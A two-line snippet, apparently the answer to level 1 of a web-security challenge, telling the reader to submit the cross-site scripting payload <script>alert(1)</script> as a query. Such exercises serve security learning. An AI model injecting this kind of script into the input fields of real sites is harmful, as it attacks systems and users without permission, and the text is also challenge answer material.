level 1

Submit as query:

<script>alert(1)</script>